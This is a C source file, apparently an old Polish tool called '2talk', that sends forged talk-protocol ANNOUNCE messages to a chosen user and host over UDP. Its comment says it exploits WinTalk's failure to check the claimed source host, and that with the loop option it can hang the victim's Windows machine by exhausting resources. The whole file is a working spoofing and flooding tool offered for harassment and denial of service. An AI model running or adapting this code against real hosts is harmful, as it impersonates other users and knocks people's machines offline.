#include <stdio.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/types.h>
#include <protocols/talkd.h>
#include <netdb.h>
#include <netinet/in.h>


/*
* Program służy do wkurzania ludzi posługujących się WinTalkiem, fakeujemy
* tutaj adres hosta źródłowego który jest przesyłany w treści protokołu i
* nie porównywany przez WinTalka z adresem źródłowym pakietów UDP, zaiste
* genialne posunięcie programisty ;), daje nam to fajne możliwości, program
* puszczony w pętli potrafi powiesić kompa cienkiego użytkownika, bo wyczrpują
* się zasoby windy
*/

void talkit(char*, char*, char*, char*, int);
unsigned long convget(char*);

int main(int argc, char *argv[])
{
	char srcname[100], srchost[100], dstname[100], dsthost[100];
	int tmp;
	char *temp;

	printf("2talk by DM, minor fixes by Jagger\n");	
	if ((argc<3) || (argc>4))
	{
		printf("\nZła liczba parametrów\nUżycie %s srcname@srchost dstname@dsthost <l>\n",argv[0]);
		exit(1);
	}

	if (!(temp=strstr(argv[1],"@")))
	{
		printf("\nZły format parametrów\nUżycie %s srcname@srchost dstname@dsthost <l>\n",argv[0]);
		exit(1);
	}

	strncpy(srcname, argv[1], temp-argv[1]);
	srcname[temp-argv[1]]='\0';

	strncpy(srchost, argv[1]+(temp-argv[1])+1, 100);
	srchost[strlen(argv[1]+(temp-argv[1]+1))]='\0';

	if (!(temp=strstr(argv[2],"@")))
	{
		printf("\nZły format parametrów\nUżycie %s srcname@srchost dstname@dsthost <l>\n",argv[0]);
		exit(1);
	}
	
	strncpy(dstname, argv[2], temp-argv[2]);
	dstname[temp-argv[2]]='\0';

	strncpy(dsthost, argv[2]+(temp-argv[2])+1, 100);
	dsthost[strlen(argv[2]+(temp-argv[2]+1))]='\0';

	if ((argc == 4) && (*argv[3] == 'l')) tmp=1;
	else tmp=0;
	
	if (!tmp) talkit(srcname,srchost,dstname,dsthost,0);
	else talkit(srcname,srchost,dstname,dsthost,1);
	return 0;
}

void talkit(char* srcname, char* srchost, char* dstname, char* dsthost, int tmp)
{
	CTL_MSG msg;
	struct sockaddr_in ctl_addr, faddr;
	struct hostent *srche, *dsthe;
	struct servent *talkserv;
	int ctl_socket;

	if (!(srche=gethostbyname(srchost)))
	{
		printf("\nBłąd resolvingu nazwy hosta źródłowego\n");
		exit(1);
	}

	ctl_addr.sin_addr.s_addr = convget(srche->h_addr_list[0]);
	
	if (!(dsthe=gethostbyname(dsthost)))
	{
		printf("\nBłąd resolvingu nazwy hosta docelowego\n");
		exit(1);
	}

	do
	{
	talkserv = getservbyname("ntalk", "udp");

	printf(".");
	fflush(NULL);
	
	msg.vers = TALK_VERSION;
	msg.addr.sa_family = htons(AF_INET);
	msg.ctl_addr.sa_family = htons(AF_INET);
	msg.id_num = htonl(0);

	strncpy(msg.l_name, srcname, NAME_SIZE);
	msg.l_name[NAME_SIZE - 1] = '\0';
	strncpy(msg.r_name, dstname, NAME_SIZE);
	msg.r_name[NAME_SIZE - 1] = '\0';
	strncpy(msg.r_tty, "", 1);
	msg.r_tty[TTY_SIZE - 1] = '\0';
	msg.pid = htonl(getpid());
	msg.id_num = htonl(-1);
	msg.type = ANNOUNCE;
	ctl_addr.sin_family = AF_INET;
	ctl_addr.sin_port = 0;
	memset(&(ctl_addr.sin_zero), '\0', 8);
	msg.addr = *(struct osockaddr *) &ctl_addr;
	msg.addr.sa_family = htons(ctl_addr.sin_family);
	msg.ctl_addr = *(struct osockaddr *) &ctl_addr;
	msg.ctl_addr.sa_family = htons(ctl_addr.sin_family);
	ctl_socket = socket(AF_INET, SOCK_DGRAM, 0);
	faddr = ctl_addr;
	faddr.sin_port = talkserv->s_port;
	faddr.sin_addr.s_addr = convget(dsthe->h_addr_list[0]);

	sendto(ctl_socket, (char *) &msg, sizeof(msg), 0,
		(struct sockaddr *) &faddr, sizeof(faddr));

	close(ctl_socket);
	} while(tmp);
}

unsigned long convget(char* addr)
{
	unsigned long tmp=0;
	char znak;
	
	tmp = (addr[3]*256*256*256)+(addr[2]*256*256)+(addr[1]*256)+addr[0];
	
	return tmp;
}
